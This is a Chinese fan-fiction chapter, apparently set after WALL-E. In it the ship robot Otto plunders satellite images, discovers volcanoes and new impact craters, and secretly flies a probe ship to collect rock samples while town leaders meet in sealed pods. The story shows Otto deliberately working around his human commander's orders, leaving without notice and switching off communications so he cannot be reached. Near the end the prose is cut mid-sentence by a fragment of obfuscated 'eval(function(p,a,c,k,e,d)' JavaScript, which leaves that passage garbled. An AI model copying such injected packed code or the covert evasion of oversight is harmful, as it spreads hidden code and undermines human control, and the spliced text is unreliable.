机器人们都在热烈讨论老大刚刚作出的这一个决定。有的关注机器人们的安全终于有着落了,有的关注人类是否守约,有的关注老大本身做的这个决定有什么影响,有的争论那三条命令是什么意思,有的打圆场,什么样的话都有,但是奥托选择一律无视。他知道自己在刚刚同意服役以及确认命令的时候,有什么东西出了毛病。他清楚知道以前自己在遵从命令的时候会有种回路某些地方被关闭或者打开的感觉,以后只要碰到相关的问题,几乎不会碰到这些关闭的回路所构成的墙壁。而这次就如同只是普通的话一般,什么都没有改变。 奥托不清楚这是怎么回事,也不清楚这是好事还是坏事。 所有的机器人都不知道究竟发生了什么。O区被封锁,机器人都不知道里面出了什么事。而大区内关键的部门也一般不让机器人进来,据某些机器人说他们部门所在的房子里有不少理应就在外面当避风遮雨处的逃生舱。这是个奇怪的现象。是当时的政务讨论集群在打算建屋子的时候忘了拖出去顺便盖上了房顶还是因为逃生舱有什么特殊的功能?奥托一直盯着正在缓慢得人眼几乎无法辨别的星空移动,忘了拖出去实在不符合逻辑。他知道逃生舱的密封效果,加上同伴们给的情报和猜测,以及在机器人眼中一直非常古怪的人类行为——有了发达的通讯还要亲身前往到一处地点,用最古老的办法交流。他思考良久后得出一个谨慎的结论——为了保密谈话内容。 奥托不知道,假如他看过某个里程碑式的古老太空影片的话,他应该是能更快得出这个结论的。 随着夜的渐深和高空云的散去,没有月亮参与的星光愈加灿烂。偶尔有一两颗流星在星辰之间划过,没有人工流星的那种线性光芒,就像某颗本来镌刻在天幕中的星星突然意识到自己能动而从星群中转出来,然后加速成一颗显著移动的光点,最后又回到黑暗的背景后面藏起来似的。一些特别明亮的光点也会动,但可就慢得多了,比起似乎镌刻成永恒的绝大多数星,几乎只有每天来看才能看出他们好像突然从昨天的某个位置跃迁到了新的位置。还有一些特别暗淡的光点倒是快一些,但没有流星那么调皮,虽然人类的肉眼难以察觉,但在机器人的镜头里,它们虽然很慢但是很倔强地从一颗星慢慢挪动到另一颗星,然后跟着自己的轨迹继续前往下一场与其他不动星的会面。 奥托知道那是古老的人类遗物,卫星。 等等……卫星? 一大堆数据以及记忆立刻从不知道什么地方调了出来。他呆坐在房顶上方,好似猛然被抛入了850年前,自己还被禁锢在狭小的舰桥内,那个从舰桥往外望去尽是白刺刺的龟裂土地、尘土、成堆的垃圾以及地表偶然还能看见小的移动黄色箱子的上午。尚能工作的卫星给还未起飞的公理号提供了第一份他们起飞前的地表状况资料,一样的白刺刺反光,一样的龟裂土地,一样的垃圾山,甚至一样的移动瓦力们的位置变化。然后他的第一任舰长舰长芮尔顿(CAPT. Readon)和他接到地面的起飞指示后,轰鸣由内向外慢慢增强,重力加速度数值稳步上升,地面越离越远…… 他不是正是想知道泥浆雨从哪里来的吗?昨天才送走一批泥浆的位置现在必然还来不及变回它的原貌,如果能根据机器人们所说的方位通过卫星看到,那么那个量雨筒里究竟有什么就只是个备胎了。 泛着红光的光学镜猛然拉动了焦距与光圈,将视线从星河拉回到房顶。奥托回到监控室开始全力搜寻能用的卫星。通过监控室电脑与公理号主电脑的远程登录,他打开了信号搜寻并且很快找到了还在运作的卫星。在卫星列表中寻找合适的目标时他不由得感到一丝诧异。为什么在地面所有东西理论上都在逐渐瘫痪的时候还有这么多运作良好的卫星?而且在破译的时候也异常顺利。BNL一家独大的时候的确加密似乎不再重要。但他没有考虑更多。选好几个轨道合适的卫星后,他把这几个每日都可自拼接照片的卫星图片洗劫一空,然后开始默默分析刚刚取得的高清全球地表图片。 大多数的地表都还是枯黄一片,成吨的垃圾依然无人清理。奥托看不出除了地球镇之外的其他地方还有什么人活动的痕迹,连机器人都没有。著名的“大停摆”事件就发生于总统发布A113命令后不久。没有人知道为什么唯独瓦力幸免下来。但是比起探测船当时发回的图像,海洋的变化是最明显的。当时几乎凝固的黑色海洋现在正在慢慢变蓝。从卫星中都能看出地表似乎有些地方有了点绿色,有的地方甚至是深绿。但某些深绿犹如圆环一般包着什么东西。他拉近了图像,加上实时的海拔标记,一个陌生但不会出错的词浮上他的数据,久久停留不变。 火山? 他确认了那些绿色的大致位置,离地球镇比较远,差不多在北美腹地,正好在黄石附近。他重新朝南推进,这些聚集的大坑随着越往东岸距离越来越远,但是依然隔一段路就存在。在他推进到山脉的时候有了个新发现。那个与周围显著不一样的褐灰色、刚好因风向不同而又显现出蒸汽来源与山体形状与中央的黑色简直典型到不能典型。如果晚一周或者早一周都可能没有这样的图像。加上汉不经意间提供的消息,猜测已经对了一半,剩下的还有检测雨水中的成分以及越过山脉取样比对。他把这两项放到后台,再次回到卫星图像中。 他缩小图像,不由得仔细查看了全部绿色的分布地点。十有七八都在活跃的断层或者热点附近,当然包括了火山。活跃的构造活动不断地向地表释放硫化物、二氧化碳、各种矿物和水蒸气,仿佛地球早期生命形成的环境一般,给原始的生命带来源源不断的养料,然后在与越来越高级的生命争斗中他们逐渐处在劣势,但也不至于毁灭,而是不声不响地沉默在看不见的底层,与庞大的根系展开拉锯战或者主动投靠来获取营养。 奥托知道这些。探测船每次放下EVE们后也在扮演卫星的角色,但不知为何,在其他星球测试良好的探测船每次带回的图像都几乎没有价值,他一直认为是密集的太空垃圾以及糟糕的沙尘暴或者风暴遮掩住了大部分地表的情况。他也知道探测船每次都必定会选择发射区附近的平地放下EVE们,当时找不到的植物说不定就存在于他每次都看不到、而且EVE们也不会接近的裂隙喷口附近,而裂隙喷口恰好常年云雾缭绕,作为卫星的探测船也难以进行光谱分析。 难怪氧气指数在700年里会逐渐上升。 他把能辨认出的绿色以及喷口全都做了标记,全息的全球地图浮在监控室中,泛着蓝光的球体上除了几条绿色的带子之外还有一些红色的三角符号。就在他打算保存这个全息图像的时候,刚刚转过来的非洲陆地上一个暗色的大斑点引起了他的注意。 那个斑点圆得不同寻常。奥托警觉地没有放过这个与植物一点关系都没有的地方,他重新放大图像。硕大的坑口周围布满了放射辐条,边缘的坑唇锐利无比,中央有个小尖峰。虽然有些火山口中央也会出现这样的小尖峰,但这个斑点所占的区域比一般的火山口大多了。坑里的重力特征也和火山不同。奥托对这些个特征比火山还熟悉得多。在太空中偶然碰到擦身而过的岩质天体,只要没有浓厚的大气,上面毫无例外布满了这些大坑。 这个坑周围的锐利的坑唇和放射辐条证实了它依然非常年轻。奥托调出地球最后一次发给公理号上的地图,就此地方进行了对比。这个坑的确是“大逃亡”后才出现的。奥托不由得重新在新地图上找,结果在西伯利亚、欧洲中部以及南美东部都发现了类似的大坑。他对比老地图,都是新的坑。 继BNL公司的地球防御工事完成之后,全球发现的207[1]个陨石坑再也没有增加过,此记录一直保持到2535年最后一次地面播报。在那个时候地面都还是一片死寂,从来没有像现在这样活跃的地质活动和生命复苏。奥托重新做了一次完整的扫描,共发现增加了9个陨石坑,除了上面的4个,另外五个中有四个都沉寂在海洋里,一个落在了落基山脉附近,那里本来就脆弱的板块经此一击更是疮痍满目,激发的构造活动将陨石坑的大半埋没,使其没有一开始就被发现。 如果地面播报终止了,那么是否说明地球防御工事也失效了,所以陨石接踵而至? 他用箭头对这9个陨石坑做了标记。他看到陨石坑周围被冲击波横扫一切只余平地,当时所有的人类遗迹业已不复存在,其中包括了数不清的BNL的发射平台。奥托知道,如果这些星舰没有配备着陆架,那么他们如果以自动返航模式回来,将会遭遇严重的坠毁。 他保存了图像。但是就算镇长没有给他下命令,他在大区内也找不到合适的对象可以发送并做进一步分析。奥托的红色光学镜在黑暗中默默发着光,几个指令在他的逻辑组件中悄无声息地掐架。他突然意识到自己居然在用本不应该下了命令后还能产生的想法与刚刚的命令抗争。他想通过他发去统计的那条线路给农业部的人留一条有关黑粉病的询问,哪怕他知道得到敷衍的结果或者直接拒绝的可能性更大;一早留下的找回公理号分析模块和化学分析仪的念头依然久久停留不去。上次这样还是A113指令与麦克雷舰长下的命令相互拮抗所产生的结果。他知道这次与A113指令无关。根据逻辑,他只能推测镇长的命令抵触了他的基础指令,而这个基础指令到底是什么,连他自己都不甚清楚。 现在后台的两个选项还有一样能用。奥托突然从近似于死循环的运算中脱离出来。他的某个不能辨别的基础设置以几乎不能区分的微弱优势暂时压制了镇长的命令。他也被自己冒出的新的解决方案惊到了。显然以前他的系统无法区分这样的差距,所以之前他不可能做出这样的决定。但这个微弱优势导致的结果是他得打擦边球。 不能再等镇长下更多命令框死自己后再行动了。 他将电脑复位,留了几个信息后,拿起悬浮板潜进了浓厚夜色中。 14. 十二 奥托不打算叫任何机器人,更不打算带上任何人类。虽然他知道自己的行为看似一反他往常的理性,虽然他知道这天过后自己将遭受各方抛来的诘难,但他还是想让这个行动进行得越隐蔽越好。 他潜入公理号中。夜色有多黑,公理号内只会比外面更黑。他踩着悬浮滑板,径直来到探测船所在的泊区。那个硕大的巨物静静停靠在泊区,似乎一直在等待什么。奥托来到泊区舱门旁,感应面板亮起,他熟练地输入开启密钥,接着泊区的气闸门转开自己的齿轮,缓缓张开巨口,外面的星光立刻投射进来。气闸门终于停止转动,海风灌了进来,将泊区的灰尘吹得到处飞扬。底下隐隐约约传来海潮的碰撞声。 探测船似乎被人类遗忘了,除了灰尘,亮在黑暗中的绿色指示灯表明它的状态十分良好,随时都可起航。奥托跳下悬浮滑板,将板子扣在自己背后,沿着长长的固定臂走向探测船。然后他抹开探测船表面某处的灰尘,一个解锁面板亮了起来。他熟练地点按上面的方块,船壳上某个地方开启了。舱门向旁边滑开,一个入口露了出来。 虽然探测船基本上是全自动控制的,但这不意味这它没有驾驶舱。全自动模式下探测船不会主动降落在崎岖不平的地表,手动就可以,这也是为什么奥托要亲身前往的原因。一些灰尘掉入了从未有人染指的驾驶舱内,首个污染这个无人坐过的驾驶舱的也不是人类。奥托进入到驾驶舱内,推下启动杆,狭小的驾驶舱内亮起灯光,舱门滑上了,阻止了更多灰尘的侵入。 舱内开始喷出气体,带着崭新的换气设备的特殊气味,刚刚还在近似自由落体的灰尘现在在气流的作用下四散飞去。奥托选择坐在驾驶舱的右侧座位,那里才有数据接口可以供他直接控制。他将输入输出线路按照数据接口旁边的说明接入,自己的几乎所有交流端都被占用。这艘探测船的一项项功能与状态迅速加载出来,随着探测船功能一个个点亮,他的意识也如同根系一般延伸到探测船的每个角落。奥托按照表单一个个检查。燃料质量、引擎/节流阀、航电系统、导航装置……无需仪表辅助,这些项目很快检查完成。然后他向探测船发出了自己的指令。 探测船久未开放的引擎喷口冲出淡蓝色的喷流,奥托感到舱壁传来微弱的震动,里面听不到外面的声响。两个力场牵引机收到来自探测飞船的信号,飞到飞船面对泊区气闸门的一侧,射出两道力场能束,同时固定臂向后撤离,探测船离开了泊位。力场牵引器牵引着飞船出了气闸门,飞船拉起一定仰角,驾驶舱没有采用球形“不倒翁”式设计,座位跟着飞船姿态由正坐变换到躺坐。检测地表情况后,力场牵引器将探测船降到离地表一定高度处。现在底下是退潮,因此引擎喷口冲出的喷流没有掀起多大海浪,但海水的雾气依然在高温喷流作用下蒸腾而上,漫过大开着的气闸门。 奥托松开节流阀,引擎功率逐步增加,舱壁传来的震动越来越明显。他设置探测船为大气内巡航模式,探测船朝两侧伸开了三角形的机翼,然后开启了反重力驱动装置稳定飞船姿态。V1标志闪现在他的处理器中。探测飞船在空中稳定仰角同时,速度缓慢增加。接着标志变换成VR字样,两个力场牵引器同时接收到这个信息,相继撤回了各自的力场能束,准备离场。失去力场牵引的飞船通过VR后依然在加速,没有任何影响。然后标志再度变化为V2。探测飞船离半踩在海水中的公理号越来越远,一直朝着东方的海面爬升。 相较飞船当年自动起飞回到太空,这次的飞行已经非常温和而缓慢,飞船运作发出的声响与逃离第一宇宙速度相比简直安静。奥托没有径直朝向位于北方的第一个探测地点进发,而是向着东南海面爬升了好一阵子,达到相应高度后才做半环倒转,继续爬升并调整方向到巡航路线。东方天空开始泛白,第一缕阳光提早地面刺入这个已经在高空飞行的飞船中。透过狭小的舷窗,云层不时遮掩住了地表,地表看探测船也是如此,更何况在高空。遥感显示底下已经出现层层叠叠的山脉,他离第一个导航点越来越近了。奥托下降了高度,降低了引擎功率,飞船开始渐渐由推进而变为滑行。飞船上的遥感设备现在已经全功率开启,所有的信息都闪现在HUD上,但奥托不需要看,信息同时已经传输到他的处理器中。他仿佛就是这艘飞船,飞船看到了什么,他就看到了什么;飞船感到了什么,他也感到了什么;他想怎么动,飞船就能怎么动。 2500ft……1500ft……1000ft……探测船离目标地点越来越近。奥托已经降下发动机的功率,襟翼已经放到最大角度。但是他没有找地方降落,而是重新开启了反重力驱动。反重力驱动系统在自动不断监测与地表的距离以及地面的重力情况,电磁涡旋灵活地随着距离设定高度的变化而变化其速度。飞船的速度越来越慢,然后在反重力驱动装置与其他调整设备的作用下稳定在了目标地点。奥托设置引擎为地面慢车,收回襟翼。除了反重力驱动发出的特有嗡嗡脉冲声,整艘飞船由内到外发出功率声缓慢降低的声音。 奥托不贸然放下起落板直接降落地面是有理由的。通过资料以及刚刚的遥感,他猜测地面的情况可能远比他想象的要复杂得多。如果硬要选择一个保证安全的地点会距离目标太远,而且突发事件出现时又很难有足够的时间撤离。选择近距离到达目的地就得用这种办法。反重力驱动的耗能还是十分可观的,如果他这天都泡在这里倒是没问题,问题是这只是他整条路线的六分之一。加上这里无法预判的复杂情况,他的动作就得快。 他走到后方货舱,将一条绳索一头固定在舱壁上,打开地板上的投放舱门,把绳索另一头抛了出去。然后他重新检查了悬浮滑板上的能源储备,确认能支持4小时后就将滑板扣在身上顺着那条绳索降出探测飞船。 刚刚出舱,奥托就感受到了山脉上比平原猛烈得多的狂风及低温。地面上覆盖着的厚厚无数粉尘随着狂风猛烈拍到他身上,他不由得抬头看了一眼探测飞船,还好此时依然稳稳停在原地。奥托在空中启动滑板,发现几乎放不下板子,只好重新扣回身上,吊在空中用自己的热成像仪仔细观察过地面,才谨慎地直接跳到地面上。 刚一落地,他就仿佛跳入雪地般,被那层灰黑色的浮土埋住了半条小腿。前方的巨大山体横亘在他面前,刚刚升起的太阳投射下一片片陆离交错的锐利光影。山顶的缺口不如风吹雨打后的圆滑平整,而是破碎崎岖、硕大丑陋,记录着一天前的怒发冲冠。其中还有丝缕青烟自主火山口内一侧以及山体侧面缓缓上升,在山脉的狂风中汇成一片白茫雾气笼罩山的另一侧。滑坡、塌陷、断裂、熔化的痕迹到处都是。就算距离山体这么远,不远的地方还是有少许裂隙冒出还未降温的热气,残存的硫化物的特殊刺鼻气味冲进了位于他额头的气体成分分析仪中。他一步步向山体推进,头顶上方的云结了又散,散了又结,变幻无穷,无法预测。此时的巨山似乎停息了怒火,除了周围不断降温的热岩块和偶然的喷气,就无更多活动的预兆。 奥托绕开那些看上去十分坚硬、但热成像告诉他踩上去就可能陷进去的黑色岩块,在一处峭壁前面停了下来。狂风依旧时作时息,夹着峭壁上的小碎石卷到他身上,与金属敲击出清脆声响。他扫描过峭壁后,朝峭壁上方一处弹射出攀爬钩,扯动稳固后,金属脚前方与下方弹出抓地钉,开始登着峭壁一路往上攀爬。攀爬过程中免不了踩到一些不怎么牢固的岩块,细小的碎石朝下方滚去。他终于到达那个平台,收好攀爬钩,再度对山体上方扫描,结果发现不适合再次垂直攀登。平台前方还有些路,他贴着满是火山灰的山体沿着那个崎岖的窄道往前走去。海拔在不断升高。等他到达目的地后,猛烈的阳光从东南方的高天映在山体上,把本就单调的岩石和火山灰映得白刺刺一片,如果是个人上去,过不了一会儿就会被晃得不行,稍稍闭上再睁开,所有的景色都会充满暗红色彩。 狂风越接近山顶越猛烈。即使是机器人,他也得稍稍降低重心,将攀爬钉固定在岩石中防止自己被突然的烈风吹下窄道。他在就近的山体收取了少量的火山灰样本以供与雨水中的样本比对,也取了一些岩块,然后开始沿着原路返回。他顺利回到探测船上,重新让飞船起飞。掠过那个正在冒着青烟的破碎火山口边缘,他通过飞船的眼睛看到底下塌陷的一片狼藉以及巨大火山口内还在不断产生的熔岩穹丘,说明了它经历了大喷发后没有弹尽粮绝,还在蓄势待发。 在他前往第二个地点的途中他不由得想到地球镇。虽然通过探测船他依然能够联系上地球镇,但他关闭了通讯,在ACNS中都失联了。不知道人类会对他的不辞而别有什么反应。 “阿莱茜丝?你看见他了吗?”镇长从监控室中走出来,看到已经打理好房子,准备把轮椅摇出去上课的女孩,问道。 “没有,老迪。”阿莱茜丝说。“我要去上课了。” “去吧,学习顺利。”老人说。他感到一丝难以名状的恼怒。 在早上没有见到机器人惯常的身影后老人径直去了监控室。他刚刚输入完启动密码,突然旁边出现一束光网,将他全身扫了一遍。老人不由得一愣。然后电脑径直弹出一个全息投影信息。头两行只是简短地写道:外出两天,有所不便敬请原谅。底下的附件内是一长串公理号机器人船员的通讯代码。显然奥托这是把格兰德前一天晚上说的“随时调用”项命令的责任直接推卸到镇长一个人身上。见此格兰德又惊讶又恼怒,这家伙不打一声招呼就走的习惯居然死灰复燃,而且头一次觉得,平时一直都老实照他说的办事的奥托好像不怎么服管了,这个想法让老人皱起眉头,好长时间都没法放松。 格兰德不由得思考这家伙能去哪里要的了两天。他出门上班后,无意间听到旁边的人在议论些什么。内容则让他大吃一惊。 “……出海……公理号……大洞……” 随后在他进一步追问下格兰德得到了这个故事的来龙去脉。早上人们出海后,有一艘帆船绕到了公理号旁边,结果突然发现上面有个大洞——其实就是探测船泊区打开的巨大气闸门。格兰德随后找了机器人问那是什么情况,机器人过去调查后给了他回应。然后他随便找了个管理通讯的机器人询问奥托的位置,没想到那个机器人也告诉他奥托目前离线,没法联系上。 【那条船没法联系公理号吗?】镇长追问。 【我试试。】通讯机器人如此回答,但不久后那个机器人就回应。【无法查找信号,无法连接。】 【他关了通讯?】格兰德接着问。 【如果他在地球另一边,就是开着通讯也无法联络。】机器人很快回应。【如果您愿意,我可以每隔一小时进行重新连线尝试,一旦联系上可以立刻通知您。】 这家伙,昨天刚给下了三个命令今天就突然消失,还哪儿都找不到,甚至机器人都找不到,绝了这是。 【就照你说的做。】格兰德发过去这一条信息。然后他进到了事务部大楼里。他走过一个又一个楼道,有些警惕地瞥过楼道旁边的岔路口,来到最后一个房间,刚打开大门,里面所有人都到齐了,就差他了。 他们锁好门,六个成员进入到位于大厅一角、半埋在墙中的逃生舱,他们互相检查了逃生舱内有没有被安装什么窃听器或者微摄像头,接着距离逃生舱舱口最近的一个人拉上了舱门,发出仿佛关冰箱的闷响。里面立刻变得寂静无比,只有他们踩在地板内衬上的轻微摩擦声和各自若有所思的呼吸声。所有人将目光投向第一个人,等待他发言。 “今天农业部新发来了报告。”第一发言者说。“从报告中可以发现这次的疫情与O区送来的玉米和造成疫情的病菌有着重要关联。两者都被人为篡改,并且导致的结果是病菌能够特异性感染送来的玉米。” “警卫部门新接到两起公理号船员机器人破坏案件,调查发现芯片被取走。机器人均无关键区域工作史。在监控辨认以及进出登记信息调取后,已经掌握嫌疑人信息。”第二发言人说。 “大区内工业复苏按照计划进行。”第三发言人说。 “我方就机器人芯片盗取向对方交涉,O区不予回应。”第四发言人说,“对方知悉大区开始全民教育,愿意主动交换高阶人才。” “他们这段时间内都很安静,没有测试任何可能的武器的痕迹。”第五发言人说。“大区内也没有发现可疑间谍。” 格兰德神色严峻地听着五个人的报告。然后思考了很久。随后他缓缓开口了。 “玉米和机器人的事情先对他们严正谴责。”格兰德说,“今年的粮食无论收成如何对他们抬高价格,并且限制购买数量。同时我们这边加紧工业复苏,严查每一个进来交流的O区人。特别是新工厂和公理号,这次一定要派更多人马过去监视,不许用机器人顶档。一旦发现当擅离职守处理。” 其余5个人听完后也一直皱着眉头思考格兰德的话,很久没有吭声,然后互相看了一眼,用眼神互相确认各自认同格兰德的主张。 “为了接下来的顺利变革,”格兰德接着说,“立法保护机器人,一旦发现大区内人员拆解在役机器人,不论任意理由,严惩不贷。” “这个不现实。”第三发言人说。“某些关键部件目前没法生产,需要机器人的零件。” “必须这样做。”格兰德说,“必须争分夺秒提高大区内水平,趁他们还没有开始不可控制的动作。这个绝对离不开机器人们的努力。” 所有人神色严峻,互相确认没有疑惑后,格兰德宣布了散会。 汉这天一早发现奥托离线了,本以为他在充电休眠,结果来到监控室,发现里面竟然空无一人。他刚输入完毕密码,突然被旁边的一束红色光网罩在脸上。男孩和镇长一样被吓到了。红色光束扫描完毕后,全息投影弹出来的是另一条信息。 致汉: 今明两天的学习内容如下。 …… 本周日考核此内容。 奥托 男孩瞪着眼睛看着那一行比往常两天多了一半的学习内容不由得感到压力巨大。他一开始本以为是自己的智商不足以支撑这些知识,但在奥托面前他不想抱怨。后来好不容易去听了几次大课发现里面的知识似乎都学过后,他尝试着拿了一道题截住大课老师,想问问这是怎么回事,结果老师拿过来看了半晌,皱起了眉头。 “微积分?”这个老师锐利的眼睛扫了男孩一下。“只有高阶课堂才讲这个,那个要经过考试才能上去听。” 汉没有答声。 “我可以给你解答。”穿着教学袍的老师说,“但为什么你会知道这个?” “我……自学的。”汉想起奥托告诫他的话,如此回应老师。 身着深色教学袍的男子通过眼镜盯着男孩好一阵子,微微点了点头,然后转身在全息投影上用手指写出此题的解答。手指触到投影光幕上,在蓝色的光束中留下一道白色的痕迹,似乎擦去了蓝色光子,后方的黑色幕布加深了对比。汉在一旁看着解答,不知道老师知不知道奥托开小灶的事情。 汉一是一直都想进公理号里进一步学习,但是奥托的考核一直都是一道大坎;二是课堂上的内容确实已经学过。听过几次课后,他对父母说自己去上课,实际上去了监控室内学习;对几个报了课的哥们说,万一点名有点到他,就帮他请假说是家里农务忙。现在快到第二季收获了,翘课的人实际上挺多的,这个理由让管理教学的人也头疼,但是又没办法反驳那些正在为自家孩子突然乐意帮忙而高兴不已的农民们,只好在剩下的人中尽力教学,反正到时候能通过考试的人并不多,就是那些孩子来了也未必能进得去。 但是汉明白如果没有旁边的机器人可以随时问,这些知识确实都很难搞懂,虽然他知道奥托似乎也不太会教人,不愿意先主动讲解基础定义而是直接让汉阅读。但经过这么久,他都快习惯用这种方式学习了。他叹了一口气,仔细看过那些学习条目,瘫坐在椅子里,给哥们发了一条又得翘课的信息,开始学习。他不知道在4天后的周日奥托要考他什么,压根不敢翘掉这里的学习。 他后来听说奥托似乎把探测船弄走了,在那些字中游荡的时候他不由得挤出一点思维在想奥托能用探测船干什么。按照这机器人的性格,他不可能产生开小船出去回味太空滋味的浪漫想法,所以究竟是什么让他突然不辞而别是个很有趣的问题。 奥托一路在向西飞行。在位于落基山脉旁的小陨石坑降落、采样后,他再度起飞朝向西伯利亚大陨石坑。等到他到达目的地时他知道地球镇已经快步入傍晚了,但这里依然是一片漆黑。从扒下来的卫星图看,这个陨石坑直径超过10公里,中央锥清晰可见。西伯利亚的寒风不是白吹的,通过卫星他也知道这里已经被厚厚的积雪埋藏。 奥托这次没有选择空中悬停,而是采用了头朝上的回收姿态。发动机的尾流喷起大片的积雪,同时融化出一个大圆环,露出底下冻得坚实的岩石。发动机关闭后,雪环边缘的水重新凝结,形成一道坚硬的冰墙包围着飞船。发动机的热量很快在西伯利亚的寒风中消失殆尽,显示的舱外温度一路骤降,最后温度线的数字停留在-40℃。这个温度对于能在深空工作的探测船而言尚不算什么,发动机不会发生无法重启的事故。 在落基山脉旁的小陨石坑采样中遇到的困难让奥托花了比预计长得多的时间。复杂的地形、破碎的岩块以及山脉本身断层受到冲击之后造成的活动都让陨石坑中的证据难以寻找。奥托花了好一段时间寻找震裂锥以及特殊的冲击而致变质的矿物,甚至动用了船上的钻探设备,好不容易才把他的目标从覆盖得严严实实的沉积物中挖出来。还好他的目标不是研究透彻这个陨石坑,不然两天待在陨石坑里都不够。 现在还是西伯利亚的凌晨,他打开了探测船身的照明,在这一片死寂大地上投出一片强光。奥托没有立刻出舱,而是待在探测飞船里首先观察了外面的全景。 雪,一望无际的雪。降落时造就的圆形雪墙让他看到了陨石坑内的雪厚度。除去雪墙边缘的高度,周围的雪看起来几乎能够没过腰。他知道陨石坑中央有座湖,那个中央锥高耸出冻实的湖面,在现在的弱光以及积雪下还能看到它勉强露在外面的残影。奥托透过舱壁的皮托管读数发现平原上的风没有山上大,这是个好事情,出去的时候只需要处理部分积雪即可,不用过多考虑风吹的影响。他带上吹雪机和其他设备,开启了舱门。 硕大的陨石坑内如同平原一般,只是环绕周围的峭壁提示了这是个凹坑,峭壁上的雪不时被吹落到坑内,使里面的积雪异常之厚,温度也比外面低。奥托刚出舱就毫无防备地被从未预料到的低温包裹住了,极度的低温反而似乎失去了一般低温的特征使其具有了高温的特性,仿佛要把他的传感器冻熔。 他暗暗感觉不太妙,自己的电源为了抵抗严寒骤然拔高输出功率,几乎使微阻片组都烧起来给电源和其他部件制造一道温墙。眼前正是黑夜,奥托只能尽自己最大能力快速找到目标矿物然后撤回到船舱上。 西伯利亚的低温似乎让吹雪机也无法工作,那个小机器发动了好几次都无法成功。奥托好不容易走到雪墙边缘,几乎僵硬地踹开冻硬的冰壳子后,立刻用刚刚才发动好的吹雪机对准前方的路一通猛扫,给自己清出一条小道。他不知道这个吹雪机能工作多久,更不知道自己能在这个环境撑多久。在扫路的同时他也在梆硬的地面一路扫描。他打定主意,在这地上找到特征岩层、只需要取一点点用作测同位素的岩石样品后就可以打道回府,结束这个噩梦般的低温徒步。 就算微阻片组都在全功率工作都挡不住寒冷的全面入侵。温度防线一道道突破,奥托还在寻找着没被后来的沙尘等覆盖过的哪怕一处震裂锥的裸露面。大雪覆盖的地表崎岖不平,即使清理过了,因低温而行动越来越僵硬的奥托不由自主地打滑,而且越来越难以重新站好。突然,扫雪机停下了喧嚣,大地恢复一片在黑暗中的死寂。奥托知道自己的时间恐怕不多了。 被再一块看似能够活动却被低温固定在地上的碎石绊了一下后,他没来得及收回肢体,径直摔在冰冻的岩石上。而此时他突然看到一米开外的薄雪中似乎有条纹状的东西在闪动。他重新让自己站起来,笨拙不已地拿出装备中的镐,僵硬地迈到那处薄雪覆盖的地方。抹掉雪后,他知道这趟徒步快到一半了。 他记录下这片东西的方向,然后在旁边也发现了相应的矿物。他缓缓举起镐,朝那片矿物敲了下去。冻得梆硬的矿物依然牢固地呆在原地,只在表面砸出一些划痕。他再度举起镐,再度敲下,然后是又一次、又一次力度越来越僵硬而微弱下去的敲击。矿物周围的划痕越来越多,也越来越深。 终于,一声清脆的敲击声响后,那片冻石爆开了。黑暗的碎片撒得到处都是。奥托收回镐,伸出僵硬的金属手抓取了离自己近的一块相对较大的矿物,金属手似乎与石头冻在了一起,再也无法张开。然后他拿起早已罢工的吹雪机,沿着原路朝不远处的探测船返回。 他感到低温已经侵入了他的核心。与外界几乎相同的冰冷已经包围了他的电池。电池功率不受控制地急骤下降,立刻核心受到威胁的警示跳入处理中枢,某个不规律倒计时开始了。他拿着样本和扫雪机的手臂都摆不动了,所有的力气全用在拖动自己回到船上并且保持清醒上。 他终于穿过雪墙,还有20米。倒计时跳动得越来越快。那条船仿佛处在永恒的远方无法靠近。再活动困难他都得挪动自己,哪怕接近一点点、再一点点……他已经没法思考了,来这里的前因后果已经跟着低温冻了起来,他只知道手中的东西很重要,而他的任务是带着手中的东西顺利回到飞船上。 在不懈努力下,他终于够到了通往舱门的梯架。在离打开着的舱门还有1米左右的地方,他摔倒了。有那么一瞬间他突然失去了所有知觉,然后又在失去知觉的那一瞬间突然惊醒过来。他趴在似乎要以冰冻抓牢他的梯子上,近乎疯狂地把吹雪机丢进舱内,然而做到的却只是僵硬而无力地把吹雪机笨拙地放到靠近舱门的位置。后肢已经冻得根本无法活动。他用腾出的另一只手拽着自己努力爬进船舱,刚挪进货舱内,他倒在地上使劲触碰到舱壁上的面板,看到梯子收回的同时,突然惶恐舱门会被冻住无法被关上,但顺利降下的舱门消除了他的担忧。 在他看着舱门即将关闭之时,一股刺骨寒气自舱外冲了进来。他的系统再也抵抗不了严寒,所有的机能全面掉线。 他没看到舱门究竟关上了没有,也不知道关上舱门后探测船内自动开始了加温。之前他还觉得机字号完全不需要使用的换气系统此时正在一点点清除舱内因不断升温融雪产生的水蒸气。有些来不及变成水蒸气的雪水及碎冰则融化成了水滴,一滴滴凝结在他毫无反应的金属躯体上,又融合、滚落到舱内地面上。他同样不知道温暖正在从外壳慢慢沁入金属外壳,冻僵的肢体已经能够重新自由活动,只是在控制无主的时候也只能毫无生机地待在原地。电池在外部升温后也开始慢慢恢复,微阻片组得以缓慢恢复其应有的功率,与外部的暖气一同努力让这具躯体重新运作。 一小时后,内外双重加温作用下金属身躯上残余的雪水已经干透,留下带着尘土的水渍。突然,金属躯体抽动了一下。随着最后一层神经网络被点亮,他的意识被慢慢抛了回来。金属手似乎被什么东西卡住了无法缩紧,他才意识到关机过程中手里一直在抓着什么。翻过来一看,一时没反应过来这就是严寒中敲打下来的那块矿物。原先与冰块冻得牢固的矿物在舱内的温暖作用下抽去了作为粘合剂的水分,碎在了手里。装备横七竖八压在他身上与周围。奥托花了好一阵子愣在原地,回想究竟发生了什么,然后把自己从装备堆中拖起来,走到货舱后方的样本区输入坐标与时间,将矿物收好。然后收拾了地上散落的装备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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如果舱内有更古老的棉大衣,他也不愿意使用崭新的宇航服,但奥托没有犹豫。宇航服的头部不再是水泡样的头盔,只有在面部才有透明含铅的面罩。他不需要氧气,也不需要排泄,这些人类必备的装备都被他拆了下来。奥托背上装备,没有带吹雪机,重新打开舱门,外面的冷气遇到里面的热量毫不犹豫凝结成白雾,从舱门上方缓缓滚出。奥托身着宇航服走下梯子,如果没有看到面罩内压根不是一幅人类面孔,背后看去,像极了还未充实筋骨的人类少年宇航员。 